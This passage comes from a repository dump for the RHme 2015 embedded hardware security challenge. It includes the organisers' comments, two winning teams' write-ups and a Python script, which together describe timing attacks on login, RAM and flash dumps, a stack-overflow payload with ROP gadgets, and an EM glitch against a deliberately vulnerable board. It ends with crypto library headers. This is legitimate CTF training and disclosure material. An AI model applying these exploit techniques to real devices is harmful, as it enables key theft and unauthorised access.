similar functions as, or 476 | otherwise compete with, Extensions that You may develop, produce, market, or 477 | distribute. 478 | 479 | 13.4 Consent To Breach Not Waiver. Failure by Licensor or Contributor to 480 | enforce any provision of this License will not be deemed a waiver of future enforcement 481 | of that or any other provision. 482 | 483 | 13.5 Severability. This License represents the complete agreement concerning 484 | the subject matter hereof. If any provision of this License is held to be 485 | unenforceable, such provision shall be reformed only to the extent necessary 486 | to make it enforceable. 487 | 488 | 13.6 Inability to Comply Due to Statute or Regulation. If it is impossible for 489 | You to comply with any of the terms of this License with respect to some or 490 | all of the Licensed Software due to statute, judicial order, or regulation, 491 | then You cannot use, modify, or distribute the software. 492 | 493 | 13.7 Export Restrictions. You may be restricted with respect to downloading or 494 | otherwise acquiring, exporting, or reexporting the Licensed Software or any 495 | underlying information or technology by United States and other applicable 496 | laws and regulations. By downloading or by otherwise obtaining the Licensed 497 | Software, You are agreeing to be responsible for compliance with all 498 | applicable laws and regulations. 499 | 500 | 13.8 Arbitration, Jurisdiction & Venue. This License shall be governed by 501 | Colorado law provisions (except to the extent applicable law, if any, provides 502 | otherwise), excluding its conflict-of-law provisions. You expressly agree that 503 | any dispute relating to this License shall be submitted to binding arbitration 504 | under the rules then prevailing of the American Arbitration Association. You 505 | further agree that Adams County, Colorado USA is proper venue and grant such 506 | arbitration proceeding jurisdiction as may be appropriate for purposes of 507 | resolving any dispute under this License. Judgement upon any award made in 508 | arbitration may be entered and enforced in any court of competent 509 | jurisdiction. The arbitrator shall award attorney's fees and costs of 510 | arbitration to the prevailing party. Should either party find it necessary to 511 | enforce its arbitration award or seek specific performance of such award in a 512 | civil court of competent jurisdiction, the prevailing party shall be entitled 513 | to reasonable attorney's fees and costs. The application of the United Nations 514 | Convention on Contracts for the International Sale of Goods is expressly 515 | excluded. You and Licensor expressly waive any rights to a jury trial in any 516 | litigation concerning Licensed Software or this License. Any law or regulation 517 | that provides that the language of a contract shall be construed against the 518 | drafter shall not apply to this License. 519 | 520 | 13.9 Entire Agreement. This License constitutes the entire agreement between 521 | the parties with respect to the subject matter hereof. 522 | 523 | EXHIBIT A 524 | 525 | The License Notice below must appear in each file of the Source Code of any 526 | copy You distribute of the Licensed Software or any Extensions thereto: 527 | 528 | Unless explicitly acquired and licensed from Licensor under another 529 | license, the contents of this file are subject to the Reciprocal Public 530 | License ("RPL") Version 1.5, or subsequent versions as allowed by the RPL, 531 | and You may not copy or use this file in either source code or executable 532 | form, except in compliance with the terms and conditions of the RPL. 533 | 534 | All software distributed under the RPL is provided strictly on an "AS 535 | IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, AND 536 | LICENSOR HEREBY DISCLAIMS ALL SUCH WARRANTIES, INCLUDING WITHOUT 537 | LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR 538 | PURPOSE, QUIET ENJOYMENT, OR NON-INFRINGEMENT. See the RPL for specific 539 | language governing rights and limitations under the RPL. 540 | 541 | 542 | 543 | EXHIBIT B 544 | 545 | The User-Visible Attribution Notice below, when provided, must appear in each 546 | user-visible display as defined in Section 6.4 (d): 547 | -------------------------------------------------------------------------------- /solutions/Riscure solution/Solution path diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Keysight/RHme-2015/2c9da0207683170bfaf78cdb9827c5712c0b36ae/solutions/Riscure solution/Solution path diagram.png -------------------------------------------------------------------------------- /solutions/Riscure solution/writeup.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Keysight/RHme-2015/2c9da0207683170bfaf78cdb9827c5712c0b36ae/solutions/Riscure solution/writeup.txt -------------------------------------------------------------------------------- /solutions/winners solutions/Riscure's comments to the winners solutions.txt: -------------------------------------------------------------------------------- 1 | ================================ TEAM R@BBIT ================================ 2 | 3 | 4 | This is a perfect example of how difficult can be to properly protect your embedded system. Team Rabbit found a bug not introduced on purpose in the firmware. Exploiting this bug allowed them to find the encryption keys in a much easier and faster way that what we originally planned. Bravo for Team Rabbit! You really hacked us! 5 | 6 | All their write-up describes the expected attacks on the hardware but the following was completely unexpected: 7 | 8 | "After some experimentation, it was found that the memory dump contains the user key if the serial connection is closed immediately after login in as administrator.Next step was to find a delay for closing the connection that would deliver the administrator key. Just testing by hand (about 5 minutes) gave a delay of 0.01 seconds." 9 | 10 | During the login process, the three keys are being loaded to verify the different users. What Team Rabbit found is that if you reset the board in the correct moment, the RAM will contain one of the keys and you can use the vulnerability that dumps part of the memory content to get the key. By playing with the timing and resetting the chip in the correct moment, you can get the three keys. 11 | 12 | We already considered the possibility that somebody could dump the RAM and get the encryption key, so in order to prevent it the keys are stored in flash and only loaded into RAM when needed. Once the encryption is done, the key is cleared from RAM to prevent a leak: 13 | 14 | // Read key from flash 15 | for (i = 0; i < 16; i++) 16 | ram_aes_key[i] = pgm_read_byte(key + i); 17 | 18 | // Encrypt 19 | aes128_init(ram_aes_key, &aes_ctx); 20 | aes128_enc(aes_data, &aes_ctx, countermeasures); 21 | 22 | // Clear the key in RAM 23 | for (i = 0; i < 16; i++) 24 | ram_aes_key[i] = 0; 25 | 26 | However, we did not realize that the open source crypto library we used was making its own copy of the key in the RAM and that copy was not being cleared after using it: 27 | 28 | void aes_init(const void *key, uint16_t keysize_b, aes_genctx_t *ctx) 29 | { 30 | ... 31 | memcpy(ctx, key, keysize_b / 8); 32 | ... 33 | } 34 | 35 | Even if that copy of the key is cleared after using it, there is still a small windows of time between loading the key and clearing it were the attacker can reset the chip. The key would still be in RAM and the attacker could dump it. 36 | 37 | The lesson learned is clear: always initialize/clear all your variables and buffers immediately after a reset. 38 | 39 | 40 | 41 | 42 | 43 | 44 | ========================= STARE TEAM @ CISCO SPVSS ========================== 45 | 46 | The write-up sent by the STARE team is the complete solution for the challenge. They found and exploited all the vulnerabilities we introduced (on purpose) in the code. They even succeeded in using an EM glitch to dump the keys. There is not too much to add to their write up except "GOOD JOB TEAM STARE!". 47 | 48 | Team STARE enjoyed so much the RHme challenge that they talked about it in the BSides Knoxville 2016: 49 | 50 | http://bsidesknoxville2016.sched.org/event/6tCk/how-we-pwned-riscures-rhme-challenge-in-two-days 51 | 52 | Thanks STARE team! We are glad you enjoyed the challenge and we will see you in the RHme 2016. -------------------------------------------------------------------------------- /solutions/winners solutions/STARE @ Cisco SPVSS/writeup.md: -------------------------------------------------------------------------------- 1 | Riscure RHme+ Challenge Writeup 2 | =============================== 3 | 4 | 5 | 6 | About Us 7 | -------- 8 | 9 | We are a team within Cisco that routinely deals with reverse engineering 10 | tasks, mainly of embedded systems. The team itself deals mostly with 11 | software, but we are "embedded" in a group that does the same for 12 | hardware, and the two teams (HW and SW) often work jointly on various 13 | projects. When time off of "real" projects permits, we try to particpate 14 | in various challenges, CTFs, etc., in order to further our training. So 15 | when the opportunity arose to particpate in this challenge, we were 16 | happy to be able to spare the time for it. 17 | 18 | The bulk of the work on this challenge was done in a two-day period last 19 | week, by 6 members of the software team, and with support from 2 members 20 | of the hardware team. A few individuals started working on certain 21 | aspects of the challenge prior to this two-day period -- one, because he 22 | was not able to attend during the joint effort; another, the team 23 | leader, in order to evaluate how to divide up the team efforts during 24 | the 2-day sprint; and one who spent a few hours getting acquainted with 25 | the AVR instruction set and IDA's handling of it. All of the inputs from 26 | those efforts were fed into the main efforts during the 2-day sprint. 27 | 28 | We thank Riscure for setting up this challenge, and for providing us 29 | with the necessary boards. We enjoyed the challenge a lot, and are happy 30 | to present our results. 31 | 32 | Communicating with the board 33 | ---------------------------- 34 | 35 | We connected the mini USB connector to the PC and noticed that the baud 36 | rate for the UART is not any of the standard options. In order to 37 | determine the correct baud rate, we connected a scope to the TX pin of 38 | the Arduino and measured the time for a single bit to be transmitted. 39 | The measured time was 1 microsecond, which implies a baud rate of 40 | 1000000. Indeed, setting that baud rate enabled us to communicate with 41 | the board. 42 | 43 | Disabling Random 44 | ---------------- 45 | 46 | The first problem we are presented with is a randomly changing nonce. We 47 | looked at the hardware datasheet for the CPU, and noticed that it does 48 | not have any hardware RNG. Thus, we assumed that its random source must 49 | be one of the analog pins. We connected each of the analog pins to GND, 50 | and found that A1 was the random source -- once A1 and GND were 51 | connected, we were consistently presented with the constant nonce 52 | `0xe7212f7d`. 53 | 54 | Logging In as User 55 | ------------------ 56 | 57 | Exploring the menus available on the terminal, the 'V' command 58 | ("retrieve variables"), which is available even before logging in, 59 | seemed interesting. Since it asked for a number between 0--5, we 60 | naturally tried some out-of-range numbers. Inserting -1 gave a dump of 61 | the RAM. 62 | 63 | The dump did not prove that useful as long as no authentication attempt 64 | had been made. However, a dump produced ''after'' an authentication 65 | attempt proved, upon inspection, to contain (immediately after the 66 | regular variables) the expected authentication response. This response 67 | can then be used for logging in as the normal user. (The correct 68 | response for the non-random nonce `0xe7212f7d` is `063b4c`.) 69 | 70 | Timing Attack 71 | ------------- 72 | 73 | We assumed the verification of the challenge response would be 74 | susceptible to a timing attack, since the CPU is only 8-bit and a 75 | typical check will check each byte one-at-a-time. We wrote a short 76 | python script to time the responses we got from the device while trying 77 | all possible byte values. For the constant nonce obtained by disabling 78 | the random, we found 3 valid responses: 79 | 80 | 1. User: `063b4c` 81 | 2. Privileged User: `798068` 82 | 3. Administrator: `498451d5` 83 | 84 | Dumping the Flash 85 | ----------------- 86 | 87 | By sending random inputs to the "read flash config" menu option, we 88 | managed to produce what appeared to be dumps of portions of the flash. 89 | Further exploration showed us that the values at positions 21 and 22 in 90 | the input control the offset in the flash at which the dump begins. The 91 | dump ends when a 0x00 byte is encountered. Using this information, we 92 | implemented a simple script which dumps the entire contents of the flash 93 | using this functionality. 94 | 95 | However, the dump proved useful only up to address 0x3500 in the flash. 96 | Beyond that, it was clear from the responses that our read attempts were 97 | somehow failing. Thus, we realized that we were still missing part of 98 | the flash. 99 | 100 | Static Analysis of the Flash 101 | ---------------------------- 102 | 103 | We used IDA Pro to statically analyze the binary obtained by dumping the 104 | flash. 105 | 106 | ### IDA Pro & AVR 107 | 108 | It appears that IDA's support for the AVR instruction set is not as 109 | developed as its support of more common architectures such as x86 and 110 | ARM. One of the more annoying issues is that although IDA automatically 111 | annotates the meaning of various values and memory xrefs, it does so 112 | only for immediate values that are directly used for accessing memory or 113 | I/O ports. However, indirect accesses (e.g., loading values into 114 | registers, then accessing memory using those registers) are not 115 | annotated. So we wrote an IDA Python script that identifies consecutive 116 | loads of two bytes into paired registers (AVR registers are 8-bit 117 | registers, but addresses are 16-bits; so pairs of registers --r24:r25, 118 | for example -- are used in tandem for accessing memory locations) and 119 | adds a comment with a hyperlink to the relevant address (in both RAM and 120 | ROM, as the address spaces overlap, and it is not always possible to 121 | know upfront which is being accessed), as well as the text of the string 122 | beginning at that address, if that is the case. 123 | 124 | This greatly eased the subsequent analysis of the binary. 125 | 126 | ### Analyzing the Flash 127 | 128 | Once acquainted with the AVR instruction set and IDA's quirks in 129 | analyzing it, we were able to very quickly locate the main command loop, 130 | which led us to the authentication function. By reverse engineering this 131 | function we determined the keys of the normal and privileged users, and 132 | we learned that the admin key was stored at location 0x3500 in the 133 | flash. Unfortunately, as explained above, our dump ended at exactly that 134 | address. 135 | 136 | - Normal User Key: 137 | 138 | Riscure is cool! 139 | 140 | - Privileged User Key: 141 | 142 | Getting closer!! 143 | 144 | We reverse engineered the "read flash config" function, which had been 145 | used to dump the flash, and noted that there is a check to see if the 146 | upper byte of the area being dumped is 0x35. If so, the actual flash 147 | contents are not returned. We also learned that this check was gated by 148 | a value in the EEPROM: if the byte at offset 0x26 in the EEPROM is 1, 149 | the read is blocked; for any other value, the read would proceed as 150 | normal, enabling memory addresses beyond 0x3500 to be dumped as well. 151 | 152 | Debug UART 153 | ---------- 154 | 155 | During the static analysis of the binary, we noted that strings were 156 | being passed to a function that looks similar to `printf`, and which 157 | outputs to the UART. This function does a `sprintf` to a buffer and then 158 | bit-bangs the results over a pin in PORTB. We attached an FTDI cable to 159 | the appropriate output pin (D8) in order to read this debug info. 160 | 161 | Stack Buffer Overflow Exploit 162 | ----------------------------- 163 | 164 | While further exploring the menus, we noted what appeared to be a stack 165 | buffer overflow in the "Send command to backend ICS network" menu 166 | functionality. This functionality requests an "instruction length" from 167 | the user, then an "instruction opcode", and then prints "the inserted 168 | command was" followed by the actual input ("opcode") provided by the 169 | user. By interactively playing around with these inputs, as well as 170 | statically analyzing the related code, we learned that in fact there 171 | were two buffer overflows here: 172 | 173 | 1. A read overflow: the ultimate output ("the inserted command was") is 174 | of length "instruction length" provided by the user; thus, by 175 | providing a length longer than the actual "opcode", we get a glimpse 176 | of the memory beyond the command buffer -- presumably, the stack; 177 | 2. A write overflow: by inserting a command longer than the capacity of 178 | the stack buffer into which it is placed, we can overwrite portions 179 | of the stack. 180 | 181 | Combining these two overflows should allow us to construct a payload 182 | that will overwrite the return address stored on the stack, thus gaining 183 | control over the program counter. 184 | 185 | ### Stack Canary 186 | 187 | Confirmation that indeed a stack buffer overflow was occurring was 188 | provided by printouts to that effect made to the Debug UART discovered 189 | earlier. However, the fact that the overflows are being detected implies 190 | a detection method --which presumably could also prevent any code 191 | execution. And indeed, the static analysis showed that a stack canary is 192 | used in this function to detect buffer overflows. However, in this case 193 | the canary consists of single-byte constant value ('0xc8'), so it is not 194 | difficult to overcome. 195 | 196 | ### No Execution from RAM 197 | 198 | The AVR is not capable of running code from RAM, but only from flash. 199 | This means that we cannot provide our own code to be executed, but 200 | rather we must find existing code that will be useful to us to run. 201 | Luckily, such a function had already been found: Besides the 202 | `eeprom_set_memory_protected` function, which is called every time the 203 | board boots up, before entering the main command loop, we also found a 204 | function `eeprom_set_memory_unprotected`, which exists in the code, but 205 | it is never called. This function simply writes 0 to offset 0x26 in the 206 | EEPROM (which, recall, would allow flash beyond address 0x3500 to be 207 | dumped). 208 | 209 | ### Constructing the Exploit 210 | 211 | By combining all of the above information, we are able to craft our 212 | exploit payload: 213 | 214 | - we need to bypass the stack canary; 215 | - we need to replace the return address with the address of 216 | `eeprom_set_memory_unprotected` (0xbca); 217 | - after that function is executed, we need to continue running as 218 | normal, in order to enable us to dump the flash again; so we need to 219 | call the main command loop (at 0xd01). 220 | 221 | This leads to the following exploit payload: 222 | 223 | c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c80bca0d01 224 | 225 | Now that the memory is unprotected, dumping the flash beyond 0x3500 226 | becomes possible, using the "read flash config" functionality described 227 | above. We dumped the flash, and thus the admin key was retrieved: 228 | 229 | RHme+ C0n7ac7_u5 230 | 231 | Dumping the EEPROM (just for kicks) 232 | ----------------------------------- 233 | 234 | Using the code execution described above, we decided to try to read the 235 | entire contents of the EEPROM. This requires a ROP chain, since, as 236 | explained above, we must make do with code already existing in flash, as 237 | we cannot execute from RAM, and cannot write to flash. 238 | 239 | The gadgets we used were: 240 | 241 | Address Gadget 242 | --------- ----------------------------- 243 | 0x0434 r25:r24 = 0; pop Y 244 | 0x048d r24 = uart\_recv\_byte() 245 | 0x1573 r24 = eeprom\_read(r25:r24) 246 | 0x0474 uart\_send\_byte(r24) 247 | 0x1787 r25:r24 += 1 248 | 249 | This is the crafted payload: 250 | 251 | payload = 'c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8' 252 | payload += '0434' # r25:r24 = 0; pop Y 253 | payload += '0000' # -- dummy. ## This value will be popped in to Y 254 | payload += '048d' # r24 = uart_recv_byte() ## Read the low eeprom address from the serial port 255 | payload += '1573' # r24 = eeprom_read(r25:r24) ## Read an eeprom byte from the address that came in from the serial port 256 | payload += '0474' # uart_set_byte(r24) ## Send the eeprom byte read, to the serial port 257 | 258 | The above payload dumps a single value from the EEPROM, from the offset 259 | provided over the UART. This was used in a loop to dump offsets 260 | 0x00-0xFF. 261 | 262 | However, since only a single byte "offset" is read from the UART, we 263 | cannot access offsets beyond 0xFF. So in order to dump the 0x100 - 0x3FF 264 | range, we needed to set r25 to 1,2 or 3. This was achieved by inserting 265 | the following payload after zeroing r25:r24: 266 | 267 | payload += '1578' # r24 = uart_recv_byte() ## We will send FF. so r24 = 0xFF 268 | payload += '1787' # r25:r24 += 1 ## Now r25 = 0x01 269 | 270 | Inserting the above payload N times will set r25 = N 271 | 272 | As expected, we found that EEPROM offset 0x26 contained `0x01`. All 273 | other offsets had the value `0xFF`, except for offset 0x9e, where the 274 | value `0xa8` was observed. We do not know whether this is intentional, 275 | or perhaps was written somehow by accident during our experiments. 276 | However, we found no use being made of it (or any other offset other 277 | than 0x26) by the flashed binary. 278 | 279 | EM Glitch 280 | --------- 281 | 282 | Having obtained the key using software-only techniques, we decided to 283 | also attempt some hardware attacks. 284 | 285 | Since only the value 0x1 obtained from offset 0x26 in the EEPROM will 286 | block reads beyond 0x3500, and any other value will allow such reads, we 287 | surmised that another way of gaining access to the flash contents at 288 | 0x3500 would be to cause a glitch that would corrupt that value as it 289 | was read from the EEPROM. In order to determine the exact point in time 290 | at which to cause the glitch, we compared the power consumption of the 291 | device when asked to get address 0x3400 and address 0x3500. By noting 292 | the difference between the two traces, we were able to determine the 293 | exact time at which to effect the EM glitch. After a few attempts, we 294 | succeeded in reading the flash contents at 0x3500: 295 | 296 | 00000000: 52 48 6D 65 2B 20 43 30 6E 37 61 63 37 5F 75 35 RHme+ C0n7ac7_u5 297 | 00000010: 0D 0A 43 61 6C 63 75 6C 61 74 69 6E 67 20 69 6E ..Calculating in 298 | 00000020: 64 65 78 dex 299 | 300 | Differential Power Analysis 301 | --------------------------- 302 | 303 | Another thought was to use DPA to discover the AES key. However, 304 | standard DPA methods on the first/last round of AES can reveal only the 305 | first 4 bytes of the first/last round key. Therefore, we did not use 306 | such techniques. 307 | 308 | More sophisticated attacks on internal rounds where not considered due 309 | to timing limitations. 310 | 311 | Similarly, Differential Fault Attack on the 8th and 9th round were also 312 | not considered. 313 | 314 | Reading Flash / EEPROM with Atmel Programmer 315 | -------------------------------------------- 316 | 317 | We connected the Atmel ISP programmer to the board. When we tried to 318 | read the flash we got all FF's. This is consistent with the reported 319 | state of the fuses -- namely, they were set to not allow the program to 320 | be read. We tried reading in High Voltage Mode, but did not succeed. 321 | 322 | -------------------------------------------------------------------------------- /solutions/winners solutions/Team R@bbit/hack.py: -------------------------------------------------------------------------------- 1 | #This script contains the hacks to recover the riscure challenge 2 | #Usage: 3 | #Install pyserial and pycrypto 4 | #modify the serial initialisation line to connect to the challenge 5 | #>> execfile("hack.py") 6 | #>> hackAccounts() 7 | #>> findAEAkeys() 8 | #>> login(Nonce) -> gives the responses for user, admin and privileged user 9 | 10 | import serial 11 | import sys 12 | import time 13 | from Crypto.Cipher import AES 14 | 15 | ser = serial.Serial("COM31", 1000000, timeout=2) #Initialize serial at 1 MBaud 16 | 17 | output = ser.read(195) #Read initial response 18 | 19 | def hackAccounts(bytepos = 0x00, offset = 0x00): 20 | timeouts = [190, 240, 290, 340] #Set timeout values for different byte positions 21 | getNonce() 22 | for i in range(0xff): 23 | if (i%0xfd == 0): #Get new nonce after 0xfd tries 24 | getNonce() 25 | response = "R%0.8x\r\n"%((i<<(8*bytepos)) + offset) #Write response into string 26 | ser.write(response) 27 | output=ser.read(2) #Read cr+lf 28 | starttime = time.time() 29 | output = ser.read(1) #Read answer (is 'E' when response is invalid) 30 | endtime = time.time() 31 | totaltime = (endtime - starttime) *1000 #The time in millis that it took between cr+lf and the final answer from the module 32 | if (output != 'E'): 33 | output = output + ser.read(1000) 34 | #print response[:-2] + " %d"%totaltime 35 | print "Found valid response: " + response[:-2] 36 | print output 37 | ser.write("X\r\n") #Logout 38 | ser.read(1000) #Read response 39 | break 40 | if (totaltime > timeouts[bytepos]): #Found next byte 41 | #print response[:-2] + " %d"%totaltime 42 | hackAccounts(bytepos + 1, ((i<<(8*bytepos)) + offset)) #Recurse into guessing the next byte 43 | 44 | def findAESkeys(): 45 | timings = [0, 0.01, 0.5] #at these timings we find the different keys 46 | for timing in timings: 47 | loginTimingAttack(timing) 48 | 49 | def loginTimingAttack(t = 1): 50 | ser.close() 51 | ser.open() 52 | ser.read(195) 53 | getNonce() 54 | ser.write("R498451d5\r\n") 55 | time.sleep(t) #wait t seconds 56 | ser.close() #reset the chip 57 | ser.open() 58 | ser.read(195) 59 | ser.write('V\r\n') #dump memory 60 | out = ser.read(49) 61 | ser.write("-1\r\n") 62 | dump = ser.read(1000000) 63 | ser.close() 64 | testdump(dump) #check for valid keys in the memory 65 | 66 | def testdump(dump): 67 | message = "\xe7\x21\x2f\x7d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 68 | dumplen = (len(dump)-16 + 1) 69 | for i in range(dumplen): 70 | key = dump[i:i + 16] 71 | if (encryptTest(message, key) == 1): 72 | print 73 | break 74 | 75 | def encryptTest(message, key): 76 | obj = AES.new(key, AES.MODE_ECB) 77 | ciphertext = obj.encrypt(message) 78 | if (ciphertext[-2:] == "\x3b\x4c"): 79 | print "User key: \"%s\""%key 80 | print "Hex user key: " + ''.join("{:02x}".format(ord(c)) for c in key) 81 | return 1 82 | if (ciphertext[-3:] == "\x79\x80\x68"): 83 | print "Privileged user key: \"%s\""%key 84 | print "Hex privileged key: " + ''.join("{:02x}".format(ord(c)) for c in key) 85 | return 1 86 | if (ciphertext[-4:] == "\x49\x84\x51\xd5"): 87 | print "Admin key: \"%s\""%key 88 | print "Hex admin key: " + ''.join("{:02x}".format(ord(c)) for c in key) 89 | return 1 90 | return 0 91 | 92 | def getNonce(): 93 | ser.write("A\r\n") 94 | ser.read(92) 95 | 96 | def login(nonce): 97 | keys= ["Riscure is cool!", "RHme+ C0n7ac7_u5", "Getting closer!!"] 98 | nonce = nonce + "000000000000000000000000" 99 | message = nonce.decode('hex') 100 | for key in keys: 101 | obj = AES.new(key, AES.MODE_ECB) 102 | ciphertext = obj.encrypt(message) 103 | print key + " : " + ''.join("{:02x}".format(ord(c)) for c in ciphertext[-4:]) 104 | 105 | -------------------------------------------------------------------------------- /solutions/winners solutions/Team R@bbit/setup.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Keysight/RHme-2015/2c9da0207683170bfaf78cdb9827c5712c0b36ae/solutions/winners solutions/Team R@bbit/setup.jpg -------------------------------------------------------------------------------- /solutions/winners solutions/Team R@bbit/writeup.txt: -------------------------------------------------------------------------------- 1 | ***** 1. Find the right baudrate ***** 2 | Used a Saleae 8 logic analyser and measured the baudrate required 3 | Connection speed: 1M baud 4 | 5 | Build an arduino to connect to the riscure challenge. To convert between 1Mbaud. My OSX couldn't communicate at 1M baud with the challenge. 6 | Later I found out that the Windows driver supports 1M baud (after adding baudrate to CoolTerm), so I could communicate directly (using Windows). 7 | 8 | ***** 2. Hack random number generator ***** 9 | Connect pin A1 to ground 10 | Nonce is always: e7212f7d 11 | 12 | ***** 3. Brute force user response ***** 13 | Just tried every combination. Used another Arduino to do this, because I didn't have 1M baud yet. 14 | Found: R00063b4c for the user response 15 | 16 | ***** 4. Timing attack per byte ***** 17 | Found out with logic analyser that a timing attack is possible by measuring the time between "\r\n" and "E". The time to respond to a response. 18 | If the least significant byte matches, the response time increases. After that we tried the second least significant byte, until we get a valid login response. 19 | Wrote a python script to find all the valid responses. 20 | Output: 21 | - Found valid response: R00063b4c 22 | Authentication successful as user 23 | - Found valid response: R00798068 24 | Authentication successful as privileged user 25 | - Found valid response: R498451d5 26 | Authentication successful as administrator 27 | 28 | ***** 5. Fuzzing input ***** 29 | Invalid input, delivers some kind of memory dump 30 | From the main menu use V (show variables), number of variables "-1" gives some kind of dump. 31 | This dump also contains the user response: User authentication token 63b4c 32 | 33 | Also insert command "S" option delivers some kind of dump with invalid input, such as a very high number for the command length 34 | 35 | Also read flash config delivers some kind of dump when number of characters entered is 21 36 | 37 | ***** 6. Scan memory dump for keys ***** 38 | Simply shifting a 16 byte window over the dump and using the 16 bytes as the key to encrypt the known nonce from the hacked RNG. If the encrypted nonce matches the responses found with the known responses we have found the key. 39 | 40 | After login in as administrator, the "V"-dump revealed the key for the privileged user: "Getting closer!!" 41 | 42 | After some experimentation, it was found that the memory dump contains the user key if the serial connection is closed immediately after login in as administrator. 43 | 44 | Next step was to find a delay for closing the connection that would deliver the administrator key. Just testing by hand (about 5 minutes) gave a delay of 0.01 seconds. 45 | 46 | Results and final flag: 47 | User key: "Riscure is cool!" 48 | Hex user key: 5269736375726520697320636f6f6c21 49 | 50 | Admin key: "RHme+ C0n7ac7_u5" 51 | Hex admin key: 52486d652b2043306e376163375f7535 52 | 53 | Privileged user key: "Getting closer!!" 54 | Hex privileged key: 47657474696e6720636c6f7365722121 55 | 56 | ***** 7. Failed attempts ***** 57 | - Connecting the challenge to the ICSP header via JTAG ICE II. Tried reading the flash and eeprom. 58 | - Debugging via the ICSP header. 59 | - Measuring all the pins with logic analyser, to see if some data comes out on pins 60 | - Shuffling the bits in the 16 byte memory window to test for keys (reverse bytes, reverse bits, reverse nibbles and combinations) 61 | - Even more input fuzzing 62 | -------------------------------------------------------------------------------- /source/aes/README: -------------------------------------------------------------------------------- 1 | This is an implementation from 2 | https://git.cryptolib.org/avr-crypto-lib.git 3 | with the exact required sources for each version of aes listed at 4 | http://avrcryptolib.das-labor.org/trac/wiki/AES 5 | 6 | The second link also includes a small tutorial :) 7 | -------------------------------------------------------------------------------- /source/aes/aes.h: -------------------------------------------------------------------------------- 1 | /* aes.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | #ifndef AES_H_ 28 | #define AES_H_ 29 | 30 | #include 31 | 32 | #include "aes_types.h" 33 | #include "aes128_enc.h" 34 | #include "aes128_dec.h" 35 | #include "aes_enc.h" 36 | #include "aes_dec.h" 37 | #include "aes_keyschedule.h" 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /source/aes/aes128_dec.c: -------------------------------------------------------------------------------- 1 | /* aes128_dec.c */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes128_dec.c 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | 28 | #include "aes.h" 29 | #include "aes_dec.h" 30 | 31 | void aes128_dec(void *buffer, aes128_ctx_t *ctx){ 32 | aes_decrypt_core(buffer, (aes_genctx_t*)ctx, 10); 33 | } 34 | 35 | -------------------------------------------------------------------------------- /source/aes/aes128_dec.h: -------------------------------------------------------------------------------- 1 | /* aes128_dec.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes128_dec.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * \ingroup AES 26 | */ 27 | 28 | #ifndef AES128_DEC_H_ 29 | #define AES128_DEC_H_ 30 | 31 | #include "aes_types.h" 32 | #include "aes_dec.h" 33 | 34 | /** 35 | * \brief decrypt with 128 bit key. 36 | * 37 | * This function decrypts one block with the AES algorithm under control of 38 | * a keyschedule produced from a 128 bit key. 39 | * \param buffer pointer to the block to decrypt 40 | * \param ctx pointer to the key schedule 41 | */ 42 | void aes128_dec(void *buffer, aes128_ctx_t *ctx); 43 | 44 | 45 | 46 | #endif /* AES128_DEC_H_ */ 47 | -------------------------------------------------------------------------------- /source/aes/aes128_enc.c: -------------------------------------------------------------------------------- 1 | /* aes128_enc.c */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes128_enc.c 21 | * \email bg@nerilex.org 22 | * \author 